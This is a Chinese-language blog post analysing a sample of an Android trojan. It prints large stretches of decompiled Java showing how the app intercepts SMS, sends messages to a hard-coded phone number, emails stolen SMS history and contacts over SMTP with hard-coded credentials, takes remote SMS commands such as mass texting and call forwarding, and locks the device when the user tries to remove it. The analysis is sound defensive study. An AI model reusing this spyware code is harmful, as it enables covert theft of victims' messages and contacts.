• 木马APP的简单分析(Android Killer分析)


    本文作者:三星s7edge

    一.此贴目的:分析一个木马APP样本的行为。—————————————————————————————————————————————————-
    二.分析步骤及结果:

    文件名称:Project_Mod.apk
    MD5值: 773833c1e4632aaa6b000e891dc49d4b
    文件大小: 439.98KB
    上传时间: 2017-09-29 13:13:17
    包名: com.nai.ke
    最低运行环境: Android 4.0, 4.0.1, 4.0.2
    版权: Android

    1.在模拟器上安装APP初步查看行为

    由于给的样本中没有原来的APK文件,所以我只好用apktool进行了一次回编译并签名后得到了APK文件,才得以在模拟器上安装。

    1.jpg

    这里看出程序是获取锁定屏幕的权限。

    2.jpg

    3.jpg

    以上是这款APP的权限,包括读取通讯录短信的敏感权限。

    2.我将这个APP文件上传至哈勃分析系统

    android.permission.WRITE_SMS        写短信
    android.permission.READ_SMS        读取短信
    android.permission.SEND_SMS        发送短信
    android.permission.RECEIVE_SMS        监控接收短信
    android.permission.INTERNET        连接网络(2G或3G)
    android.permission.READ_CONTACTS        读取联系人信息
    android.permission.WRITE_CONTACTS        写入联系人信息
    android.permission.WRITE_EXTERNAL_STORAGE        写外部存储器(如:SD卡)
    android.permission.PROCESS_OUTGOING_CALLS        监视、修改有关拨出电话
    android.permission.READ_PHONE_STATE        读取电话状态
    android.permission.CALL_PHONE        拨打电话
    android.permission.WRITE_CALL_LOG        写入通话记录
    android.permission.RECEIVE_BOOT_COMPLETED        接收开机启动广播
    android.permission.DISABLE_KEYGUARD        禁用键盘锁
    android.permission.WAKE_LOCK        手机屏幕关闭后后台进程仍运行

    4.jpg

    5.jpg

    至此其实就很清楚这个APP大概会在安卓系统里干些什么了。

    3.现在将此APK文件反编译后的jar文件用Java Decompiler打开查看具体代码

    由于此木马样本比较简单,我从头到尾翻了一遍代码,以下为较重要功能部分

    在d.class中 获取[email]17828075791@163.com[/email]这个邮箱收到的邮件内容,有趣的是在邮箱后面还跟了一串字符串,是邮箱的密码。

    public void a(String paramString1, String paramString2)
     {
       String str = l.a(this.c, "zzxx", "tel");
       b localb = new b();
       localb.a("smtp.163.com", "25");
       try
       {
         localb.a("17828075791@163.com", str + "(***收到DX***)", "发信人:" + paramString2 + "-内容:" + paramString1);
         localb.a(new String[] { "17828075791@163.com" });
         localb.b("smtp.163.com", "17828075791@163.com", "apowtzjtereitcao");
         return;
       }

    在h.class中,拦截短信到并发送给15877587263

    public h(String paramString1, String paramString2, Context paramContext)
      {
        this.a = paramString1;
        this.b = paramString2;
        this.c = paramContext;
      }
       
      protected String a(Integer... paramVarArgs)
      {
        publishProgress(new Integer[] { Integer.valueOf(1) });
        a.b("拦截消息doInBackground");
        a(this.a, this.b);
        return "doInBackground:" + paramVarArgs;
      }
       
      protected void a(String paramString)
      {
        a.b("拦截消息后发送结束:" + paramString);
      }
       
      public void a(String paramString1, String paramString2)
      {
        a.b("content:" + paramString2);
        String str1 = e.a(this.c, paramString1);
        paramString2 = a.c(paramString2);
        if (paramString2 == null) {}
        for (;;)
        {
          return;
          if (paramString2.size() == 1)
          {
            paramString1 = a.a(paramString1, str1, (String)paramString2.get(0));
            if (a.a(paramString1)) {
              continue;
            }
            try
            {
              a.b("sendMsg " + "15877587263" + "," + paramString1);
              a.a("15877587263", paramString1);
              a.b("sendMsg over");
              return;
            }
            catch (Exception paramString1)
            {
              a.b("sendMsg exception:" + paramString1.getMessage());
              return;
            }
          }
          paramString2 = paramString2.iterator();
          int j;
          for (int i = 1; paramString2.hasNext(); i = j)
          {
            String str2 = (String)paramString2.next();
            j = i + 1;
            str2 = a.a(paramString1, str1, str2, i);
            if (!a.a(str2)) {
              try
              {
                a.b(j + "==sendMsg " + "15877587263" + "," + str2);
                a.a("15877587263", str2);
                a.b("sendMsg over");
                i = j;
              }
              catch (Exception localException)
              {
                a.b("sendMsg exception:" + localException.getMessage());
              }
            }
          }
        }
      }
       
      protected void b(Integer... paramVarArgs)
      {
        a.b("拦截消息后准备发送中");
      }
       
      protected void onPreExecute()
      {
        a.b("拦截消息后准备发送");
      }
    }

    在i.class中和dggng中的c.class,明显就可以看出通过短信远程操控的操作。

    public void a(String paramString1, String paramString2)
      {
        SmsManager localSmsManager = SmsManager.getDefault();
        Object localObject2;
        Object localObject1;
        Iterator localIterator1;
        switch (paramString1.hashCode())
        {
        default:
        case 49:
        case 50:
        case 51:
          do
          {
            do
            {
              do
              {
                return;
              } while (!paramString1.equals("1"));
              l.a(this.e, "zzxx", "bo", "0");
              localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null);
              return;
            } while (!paramString1.equals("2"));
            l.a(this.e, "zzxx", "bo", "1");
            localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font]", null, null);
            System.out.println(l.a(this.e, "zzxx", "bo"));
            return;
          } while ((!paramString1.equals("3")) || (k.a(this.e)));
          localSmsManager.sendTextMessage("15877587263", null, "[font=微软雅黑]设置成功[/font],请留意邮件", null, null);
          this.b = new j(this.e);
          this.a = new c(this.e);
          localObject2 = (ArrayList)this.b.a();
          localObject1 = this.a.a();
          paramString1 = this.b.b();
          paramString2 = "*************DXX*************<br><br>";
          localIterator1 = paramString1.iterator();
          label316:
          if (!localIterator1.hasNext())
          {
            paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "********************TXL*********************" + "<br>";
            paramString2 = ((HashSet)localObject1).iterator();
            if (paramString2.hasNext()) {
              break label1340;
            }
            paramString2 = l.a(this.e, "zzxx", "tel");
            localObject1 = new b();
            ((b)localObject1).a("smtp.163.com", "25");
          }
          break;
        }
        for (;;)
        {
          try
          {
            ((b)localObject1).a("17828075791@163.com", paramString2 + "(重新获取的短信录或通讯录)" + "机型:" + Build.MODEL + ",系统版本:" + Build.VERSION.RELEASE, paramString1);
            ((b)localObject1).a(new String[] { "17828075791@163.com" });
            ((b)localObject1).b("smtp.163.com", "17828075791@163.com", "1634576908qq");
            return;
          }
          catch (Addres**ception paramString1)
          {
            localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null);
            paramString1.printStackTrace();
            Log.e("wxl", "Addres**ception", paramString1);
            return;
            if (!paramString1.equals("4")) {
              break;
            }
            l.a(this.e, "zzxx", "da", "1");
            localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
            System.out.println(l.a(this.e, "zzxx", "da"));
            return;
            if (!paramString1.equals("5")) {
              break;
            }
            System.out.println("开始群发吗?");
            this.a = new c(this.e);
            paramString1 = this.a.a();
            if (l.b(this.e, "zzxx", "qf") != 0) {
              break;
            }
            localSmsManager.sendTextMessage("15877587263", null, "开始群发", null, null);
            paramString1 = paramString1.iterator();
            if (!paramString1.hasNext())
            {
              localSmsManager.sendTextMessage("15877587263", null, "群发结束", null, null);
              l.a(this.e, "zzxx", "qf", 1);
              return;
              if (!paramString1.equals("6")) {
                break;
              }
              localSmsManager.sendTextMessage(paramString2.substring(4, 15), null, paramString2.substring(16), null, null);
              localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
              return;
              if (!paramString1.equals("7")) {
                break;
              }
              l.a(this.e, "zzxx", "qf", 0);
              localSmsManager.sendTextMessage("15877587263", null, "重置成功,请成功发送群指令", null, null);
              return;
              if (!paramString1.equals("8")) {
                break;
              }
              localSmsManager.sendTextMessage("15877587263", null, "指令不正确,重新发送", null, null);
              return;
              if (!paramString1.equals("9")) {
                break;
              }
              l.a(this.e, "zzxx", "xin", "1");
              localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
              return;
              if (!paramString1.equals("10")) {
                break;
              }
              l.a(this.e, "zzxx", "xin", "0");
              localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
              return;
              if (!paramString1.equals("11")) {
                break;
              }
              l.a(this.e, "zzxx", "da", "0");
              localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
              return;
              if (!paramString1.equals("12")) {
                break;
              }
              l.a(this.e, "zzxx", "da", "1");
              localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
              return;
              if (!paramString1.equals("13")) {
                break;
              }
              paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:**21*" + paramString2.substring(4, 15) + "#"));
              paramString1.addFlags(268435456);
              this.e.startActivity(paramString1);
              localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
              localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
              return;
              if (!paramString1.equals("14")) {
                break;
              }
              paramString1 = new Intent("android.intent.action.CALL", Uri.parse("tel:##21#"));
              paramString1.addFlags(268435456);
              this.e.startActivity(paramString1);
              localSmsManager.sendTextMessage("15877587263", null, "设置成功", null, null);
              return;
              String str = (String)localIterator1.next();
              paramString1 = paramString2 + "<br>" + "<br>" + "<br>" + "<br>" + "************************" + "收到FXR号码:" + str + "************************" + "<br>";
              Iterator localIterator2 = ((ArrayList)localObject2).iterator();
              paramString2 = paramString1;
              if (!localIterator2.hasNext()) {
                break label316;
              }
              paramString2 = (e)localIterator2.next();
              if (!str.equals(paramString2.b())) {
                continue;
              }
              if (paramString2.d().equals("1"))
              {
                paramString1 = paramString1 + "<br>" + "<font color=" + "red>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>";
                continue;
              }
              paramString1 = paramString1 + "<br>" + "<font color=" + "blue>" + "[收发的短信时间:" + paramString2.c() + "]," + "短信内容:" + paramString2.a() + "</font>" + "<br>";
              continue;
              localObject1 = (a)paramString2.next();
              paramString1 = paramString1 + "名字:" + ((a)localObject1).a() + " " + ((a)localObject1).b() + "<br>" + "<br>";
            }
          }
          catch (MessagingException paramString1)
          {
            label1340:
            localSmsManager.sendTextMessage("15877587263", null, "获取失败", null, null);
            paramString1.printStackTrace();
            Log.e("wxl", "MessagingException", paramString1);
            return;
          }
          localObject1 = (a)paramString1.next();
          localObject2 = ((a)localObject1).b().replace("-", "").replace("\s", "");
          if ((((String)localObject2).length() == 11) || (((String)localObject2).substring(0, 1) == "1")) {
            localSmsManager.sendTextMessage(((a)localObject1).b(), null, ((a)localObject1).a() + paramString2.substring(4), null, null);
          }
        }
      }
    }

    值得注意的是在dggng中c.class的末尾 看出来作者可以有更改邮箱的操作 即控制客户期间可以随意更换目标邮箱

    6.jpg

    这里就是判断是否短信发送成功及接收成功

    7.jpg

     

    love HssSeervice.class和MainService.class中都有类似的获取设备型号发送至邮箱的操作。

    if (this.b.getInt(“IsFirstRun”, 1) == 1)

      {

        localObject1 = this.b.getString(“imsi”, c.k);

        if (this.b.getInt(“isAdminActive”, 0) != 1) {

          break label390;

        }

        new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动: I M S I 号 :  ” + (String)localObject1);

        if (c.a(love.qin.co.service.dggng.a.d)) {

          new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已经激活,版本” + i + “ ” + “IMSI号:  ” + (String)localObject1 + “ ” + “型号:” + Build.MODEL + “ ” + “对应的邮箱:” + love.qin.co.service.dggng.a.j);

        }

      }

      for (;;)

      {

        localObject1 = this.b.edit();

        ((SharedPreferences.Editor)localObject1).putInt(“IsFirstRun”, 0);

        ((SharedPreferences.Editor)localObject1).commit();

        a();

        return;

        label390:

        new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.c, “成功启动: I M S I 号:  ” + (String)localObject1);

        if (c.a(love.qin.co.service.dggng.a.d)) {

          new love.qin.co.service.b.a().a(love.qin.co.service.dggng.a.d, “已经激活,版本” + i + “ ” + “IMSI号:  ” + (String)localObject1 + “ ” + “型号:” + Build.MODEL + “ ” + “对应的邮箱:” + love.qin.co.service.dggng.a.j);

        }

      }

    }

    love MyAdmin.class中,这里是判断客户是否激活了设备管理器

    public class MyAdmin

      extends DeviceAdminReceiver

    {

      public void onDisabled(Context paramContext, Intent paramIntent)

      {

        super.onDisabled(paramContext, paramIntent);

        new a().a(“客户已经取消激活”);

        new e(“客户已经取消激活!”);

      }

      

      public void onEnabled(Context paramContext, Intent paramIntent)

      {

        super.onEnabled(paramContext, paramIntent);

      }

      

      public void onReceive(Context paramContext, Intent paramIntent)

      {

        super.onReceive(paramContext, paramIntent);

        System.out.println(“onreceiver”);

      }

    }

    love PhoService.class拦截短信并转发的具体代码

    public class PhoService
      extends Service
    {
      String a = "";
      int b = 0;
      Handler c = new b(this);
     
      private String a(List paramList)
      {
        StringBuilder localStringBuilder = new StringBuilder();
        paramList = paramList.iterator();
        for (;;)
        {
          if (!paramList.hasNext()) {
            return localStringBuilder.toString();
          }
          Object localObject = (a1)paramList.next();
          String str1 = ((a1)localObject).e();
          String str2 = ((a1)localObject).f();
          String str3 = ((a1)localObject).b();
          localObject = ((a1)localObject).a();
          localStringBuilder.append("------------------------- ");
          localStringBuilder.append("         " + (String)localObject + "         " + str1 + "         " + str3 + "        " + "     短信内容" + " ");
          localStringBuilder.append(str2 + " ");
        }
      }
     
      private String a(List paramList, int paramInt)
      {
        String.format("%1$-80s", new Object[] { "  " });
        StringBuilder localStringBuilder = new StringBuilder();
        paramList = paramList.iterator();
        for (;;)
        {
          if (!paramList.hasNext()) {
            return localStringBuilder.toString();
          }
          Object localObject = (Map)paramList.next();
          String str = (String)((Map)localObject).get("name");
          localObject = (String)((Map)localObject).get("number");
          localStringBuilder.append(String.format("%1$-80s", new Object[] { str + ":  " + (String)localObject }));
        }
      }
     
      private List b()
      {
        ArrayList localArrayList = new ArrayList();
        for (;;)
        {
          int i;
          try
          {
            Cursor localCursor = getContentResolver().query(Uri.parse("content://sms/"), new String[] { "_id", "address", "person", "body", "date", "type" }, null, null, "date desc");
            if (!localCursor.moveToNext())
            {
              localCursor.close();
              return localArrayList;
            }
            String str5 = localCursor.getString(localCursor.getColumnIndex("person"));
            String str6 = localCursor.getString(localCursor.getColumnIndex("address"));
            String str4 = localCursor.getString(localCursor.getColumnIndex("body"));
            String str7 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss").format(new Date(Long.parseLong(localCursor.getString(localCursor.getColumnIndex("date")))));
            i = localCursor.getInt(localCursor.getColumnIndex("type"));
            if (i == 1)
            {
              String str1 = "接收";
              continue;
              localArrayList.add(new a1(str5, str6, str3, str7, str1));
              continue;
              str1 = "草稿";
              String str3 = str4;
              if (str4 != null) {
                continue;
              }
              str3 = "";
              continue;
            }
            if (i != 2) {
              break label265;
            }
          }
          catch (SQLiteException localSQLiteException)
          {
            return localArrayList;
          }
          String str2 = "发送;
          continue;
          label265:
          if (i == 0) {
            str2 = "未读";
          }
        }
      }
     
     
    [b][color=#0000ff]在love d.class中是在执行获取所有历史短信[/color][/b]
    [mw_shl_code=java,true]  public void run()
      {
        try
        {
          Object localObject1 = new g(this.a.getApplicationContext());
          String str = ((g)localObject1).c();
          Object localObject2 = ((g)localObject1).b();
          localObject1 = localObject2;
          if (localObject2 == null) {
            localObject1 = "";
          }
          if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}
          for (localObject1 = "电话:" + (String)localObject1 + "的所有短信记录;; localObject1 = "IMSI:" + str + "的所有短信记")
          {
            str = PhoService.a(this.a, PhoService.a(this.a));
            localObject2 = localObject1;
            if (str.length() <= "  ".length()) {
              localObject2 = localObject1 + " 客户手机限制,获取历史短信失败";
            }
            localObject1 = new h();
            love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();
            localc.a(a.i);
            localc.b(a.r);
            localc.a(true);
            localc.f(a.f);
            localc.d(a.g);
            localc.c(a.f);
            localc.e(a.h);
            localc.g((String)localObject2);
            localc.h(str);
            ((h)localObject1).a(localc);
    }
        }
    }

    在e.class中是在执行获取通讯录

    public void run()

      {

        try

        {

          Object localObject1 = new g(this.a.getApplicationContext());

          String str = ((g)localObject1).c();

          Object localObject2 = ((g)localObject1).b();

          localObject1 = localObject2;

          if (localObject2 == null) {

            localObject1 = “”;

          }

          if ((love.qin.co.service.dggng.c.a((String)localObject1)) || (((String)localObject1).length() == 14)) {}

          for (localObject1 = “电话:” + (String)localObject1 + “的通讯录”;; localObject1 = “IMSI号” + str + “的通讯录”)

          {

            localObject2 = this.a.a();

            str = PhoService.a(this.a, (List)localObject2, 1);

            localObject2 = localObject1;

            if (str.length() <= “      “.length()) {

              localObject2 = localObject1 + ” 客户手机限制,获取通讯录失败”;

            }

            localObject1 = new h();

            love.qin.co.service.a1.c localc = new love.qin.co.service.a1.c();

            localc.a(a.i);

            localc.b(a.r);

            localc.a(true);

            localc.f(a.f);

            localc.d(a.g);

            localc.c(a.f);

            localc.e(a.h);

            localc.g((String)localObject2);

            localc.h(str);

            ((h)localObject1).a(localc);

     

    x.x.x  FSR.class中是在记录手机当前是否在通话中

    [b][color=#0000ff] [/color][/b]

     public void onReceive(Context paramContext, Intent paramIntent)

      {

        Object localObject = paramContext.getSharedPreferences(“zzxx”, 0);

        String str = ((SharedPreferences)localObject).getString(“bo”, “1″);

        localObject = ((SharedPreferences)localObject).getString(“da”, “0″);

        Log.i(“PhoneStatReceiver”, str);

        if (paramIntent.getAction().equals(“android.intent.action.NEW_OUTGOING_CALL”))

        {

          paramContext = paramIntent.getStringExtra(“android.intent.extra.PHONE_NUMBER”);

          System.out.println(“正在打电话”);

          if (localObject == “1″)

          {

            System.out.println(“打不出电话”);

            setResultData(null);

          }

          Log.e(“msg”, “call OUT:” + paramContext);

        }

        do

        {

          return;

          this.a = ((TelephonyManager)paramContext.getSystemService(“phone”));

          switch (this.a.getCallState())

          {

          default:

            return;

          case 0:

            Log.e(“tag”, “电话空闲”);

            return;

          case 1:

            Log.e(“tag”, “电话已挂断”);

          }

        } while (str != “0″);

        a();

        return;

        Log.e(“tag”, “电话已摘机”);

      }

    }

     

    [color=#0000ff][b]在[/b][/color][b]x.x.x  [/b][color=#0000ff][b]PAR.class中 通过[/b][/color][b][color=#0000ff]sendTextMessage发送短信告知鱼试图逃跑,即卸载程序[/color][/b]

    public class PAReceiver

      extends DeviceAdminReceiver

    {

      public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)

      {

        paramIntent = l.a(paramContext, “zzxx”, “tel”);

        com.b.a.a.b.a(paramIntent);

        if (l.b(paramContext, “zzxx”, “pop”) == 0)

        {

          l.a(paramContext, “zzxx”, “pop”, 1);

          SmsManager.getDefault().sendTextMessage(“15877587263″, null, paramIntent + “鱼试图逃跑”, null, null);

          new a(this).start();

        }

        paramIntent = paramContext.getPackageManager().getLaunchIntentForPackage(“com.android.settings”);

        paramIntent.setFlags(268435456);

        paramContext.startActivity(paramIntent);

        paramContext = (DevicePolicyManager)paramContext.getSystemService(“device_policy”);

        paramContext.lockNow();

        new Thread(new b(this, paramContext)).start();

        return “”;

      }

      

      public void onDisabled(Context paramContext, Intent paramIntent) {}

      

      public void onEnabled(Context paramContext, Intent paramIntent)

      {

        com.b.a.a.b.a(l.a(paramContext, “zzxx”, “tel”));

        new c(this).start();

        super.onEnabled(paramContext, paramIntent);

      }

    }

     

    x.x.x  a.class中 通过发送邮件告知鱼试图逃跑,也是在程序卸载时触发

    public void run()
      {
        System.out.println("执行发送邮件");
        com.b.a.b.b localb = new com.b.a.b.b();
        localb.a("smtp.163.com", "25");
        try
        {
          localb.a("17828075791@163.com", "安装激活" + com.b.a.a.b.b() + "机型" + Build.MODEL + "系统型号:" + Build.VERSION.RELEASE, "哈哈鱼到碗里来了");
          localb.a(new String[] { "17828075791@163.com" });
          localb.b("smtp.163.com", "17828075791@163.com", "1634576908qq");
          return;
        }
        catch (Addres**ception localAddres**ception)
        {
          localAddres**ception.printStackTrace();
          Log.e("wxl", "Addres**ception", localAddres**ception);
          return;
        }
        catch (MessagingException localMessagingException)
        {
          localMessagingException.printStackTrace();
          Log.e("wxl", "MessagingException", localMessagingException);
        }
      }
    }

    三.总结

    此贴仅为简单APP木马分析,能看出这是一款典型的远程手机短信邮件控制的木马程序,危害性挺大的,一般普通用户中毒后基本无法察觉。
    自我反思:在学习分析这个APP过程中,虽然能大概根据中文看出代码意思,但是显得很突兀,很多函数间的调用和联系没能准确看出来,文章感觉条理不是太清晰,感觉自己太菜了。

  • 相关阅读:
    【Python3】调用webserver接口
    【Robot Framework】字符串判断,if语句多执行条件,多执行语句
    【Robot Framework】BuiltIn库
    jenkins运行报错的两个坑
    【Python3】jsonpath-rw处理Json对象
    使用Grunt自动化任务
    用nodesjs+grunt+bower+angularjs搭建项目
    浅谈AngularJS中的$parse和$eval
    AngularJS Controller之间的通信
    AngularJS动态绑定html
  • 原文地址:https://www.cnblogs.com/ichunqiu/p/7767743.html
Copyright © 2020-2023  润新知